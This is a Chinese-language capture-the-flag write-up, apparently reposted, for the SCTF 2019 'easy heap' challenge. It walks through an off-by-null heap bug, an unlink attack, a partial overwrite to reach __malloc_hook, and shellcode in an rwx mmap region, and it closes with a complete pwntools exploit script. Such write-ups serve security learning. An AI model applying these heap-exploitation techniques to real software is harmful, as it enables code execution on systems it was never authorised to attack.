首页 > 其他 > 详细

sctf 2019 easy heap Write Up

时间:2021-09-09 04:11:48      阅读:34      评论:0      收藏:0      [点我收藏+]

概略

这道题属于典型的菜单题,但是不提供show的功能,整个逻辑中,只存在一个off-by-null的漏洞。比较值得在意的是,程序的开始,利用mmap分配了一块拥有可读可写可执行权限的内存区域,并将该区域的地址打印出来,同时程序调用alloc功能的同时也会打印出了存放堆指针与size的数组。

程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。

由于没有提供show的功能,比较难泄露libc的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fdbk存放着main_arena + 0x58,而__malloc_hook的地址为main_arena - 0x10,因此想办法在bss段中伪造一个unsorted bin的chunk并将其free, 会在bss段中残留下一个main_arena + 0x58的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena__malloc_hook地址的低12位是固定的),即可获得一个指向__malloc_hook的指针,再利用fill功能在__malloc_hook中填上开头获得的mmap的地址,在mmap内填充上shellcode,最后调用malloc即可get shell

二进制文件分析

buuoj 上说 靶机环境是ubuntu 18, 一般来说这个环境使用的libc是2.27

关于libc的讨论可以看下下面的博文,有挺大的帮助

https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/

mmap

技术分享图片

程序在开头处,使用mmap分配了一块0x1000大小,权限为rwx的内存区域,并将其地址打印出来

alloc

技术分享图片

根据读入的size分配相应大小的chunk, 再将返回的指针与size填入array数组,最后将array数组的地址打印出来(unlink利用)

delete

技术分享图片

读取输入后,free掉相应的堆块,同时清空array数组中对应得项

fill

技术分享图片

fill本身没有什么特别得,特别之处在于,其中用来读取输入得函数存在off-by-null得漏洞

技术分享图片

至此,构造unlink漏洞得条件满足

解题思路

程序开头泄露了数组的地址,即可以获得一个指针, 该指针指向堆上一块malloc出来的内存,外加上off-by-null的漏洞,自然而然的可以利用unlink攻击,使得bss段上的内存可控(任意写)。

由于没有提供show的功能,比较难泄露libc的偏移,这里采用的利用是利用unsorted bin的头结点与尾节点的fdbk存放着main_arena + 0x58,而__malloc_hook的地址为main_arena - 0x10,因此想办法在bss段中伪造一个unsorted bin的chunk并将其free, 会在bss段中残留下一个main_arena + 0x58的地址,再修改该地址的低位(程序载入偏移是页对齐的,也就是说main_arena__malloc_hook地址的低12位是固定的),即可获得一个指向__malloc_hook的指针,再利用fill功能在__malloc_hook中填上开头获得的mmap的地址,在mmap内填充上shellcode,最后调用malloc即可get shell

几个比较需要注意的点,由于libc版本为2.27, 引入了tcache机制,分配unsorted bin时得chunk size不宜过小,否则其free后会进入tcache构成单向链表,因此有两种方法,一个是申请较大得chunk size(比如0x4F8) 或者申请7个chunk后free,填充满tcache链表,之后free得相同大小得chunk会进入fastbin或者unsorted bin

整体流程

  1. 申请3个0x4F8大小得chunk,在第一个chunk内构造一个fake chunk, 并且由于array数组是存放在bss段上的,而alloc会返回array数组得地址,因此可以计算出程序载入得偏移program_base, fake chunk得构造为

    payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0)
    fill(0,payload)
    delete(1)
    

    删除idx1chunk,由于其PREV_INUSE位为0,前一块为空闲块且两个块的大小位于unsorted bin内,触发unlink

    此时使用gdb调试发现array数组的idx为1处的地址值已经变为了&array - 0x10的地址

    技术分享图片

  2. 此时可以实现array数组内容的完全可控,再通过fill功能即可实现任意地址写,首先填入mmap的地址,然后再填入program_base +0x202068 + 0x38的地址(即指向后续构造的fake_chunk的区块空间),然后再在array数组内构造一个位于unsorted bin中的fake chunk

    payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr)
    payload += p64(0x500) + p64(program_base + 0x202068 + 0x38)
    fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5
    payload += fake_chunk
    fill(0,payload)
    

    技术分享图片

  3. mmap区域内填充shellcode,delete掉fake chunk

    fill(0,payload)
    fill(1,asm(shellcraft.sh()))
    delete(2)
    

    技术分享图片

  4. 修改main_arena+0x58main_arena + 0x10即将其最后一字节改为0x30

    payload = p64(0)*0xa + p64(400) + p8(0x30)
    fill(0,payload)
    

    技术分享图片

  5. 最后在__malloc_hook中填入mmap的地址 并调用alloc功能

exp

from pwn import *


def alloc(size):
    sh.sendlineafter(b‘>> ‘,b‘1‘)
    sh.sendlineafter(b‘: ‘,str(size).encode(‘utf-8‘))
    a=sh.recvline()
    addr = int(a[-13:-1],16)
    return addr
def fill(idx,content):
    sh.sendlineafter(b‘>> ‘,b‘3‘)
    sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))
    sh.sendlineafter(b‘: ‘,content)
def delete(idx):
    sh.sendlineafter(b‘>> ‘,b‘2‘)
    sh.sendlineafter(b‘: ‘,str(idx).encode(‘utf-8‘))    
sh = process(‘./easy_heap_pwn‘)
context.arch = "amd64"
libc = ELF(‘./bc.so.6‘)
# sh = remote(‘node4.buuoj.cn‘,27589)
a=sh.recvline()
mmap_addr = int(a[-13:-1].decode(‘utf-8‘),16)
print(hex(mmap_addr))

#construct unlink
for i in range(7):
    alloc(0x80)
for i in range(7):
    delete(i)
program_base = alloc(0x4F8) - 0x202068 #0 unsorted bin
print(hex(program_base))
print(hex(program_base + 0x202060))
alloc(0x4F8) #1
alloc(0x4F8) #2
payload = p64(0) + p64(0x4F1) + p64(program_base + 0x202068 -0x18) + p64(program_base + 0x202068 - 0x10) + p8(0)*0x4d0 + p64(0x4F0)
fill(0,payload)
delete(1)

#construct fake chunk & fill mmap area & getshell  
payload = p64(0)*2 + p64(0x4f8) + p64(program_base+0x202068 - 0x18) + p64(0x500) + p64(mmap_addr)
payload += p64(0x500) + p64(program_base + 0x202068 + 0x38)
fake_chunk = p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5

payload += fake_chunk
fill(0,payload)
fill(1,asm(shellcraft.sh()))
delete(2)



payload = p64(0)*0xa + p64(400) + p8(0x30)
fill(0,payload)
gdb.attach(sh)
# payload+=
fill(4,p64(mmap_addr))
# gdb.attach(sh)

sh.interactive()

参考链接

  1. https://surager.pub/_posts/2021-05-11-x86架构下pwn题目libc概述/
  2. https://www.wolai.com/ctfhub/ofXoq2TpGBw9D5ASXjb6xS

sctf 2019 easy heap Write Up

原文:https://www.cnblogs.com/N7Utb/p/15242174.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!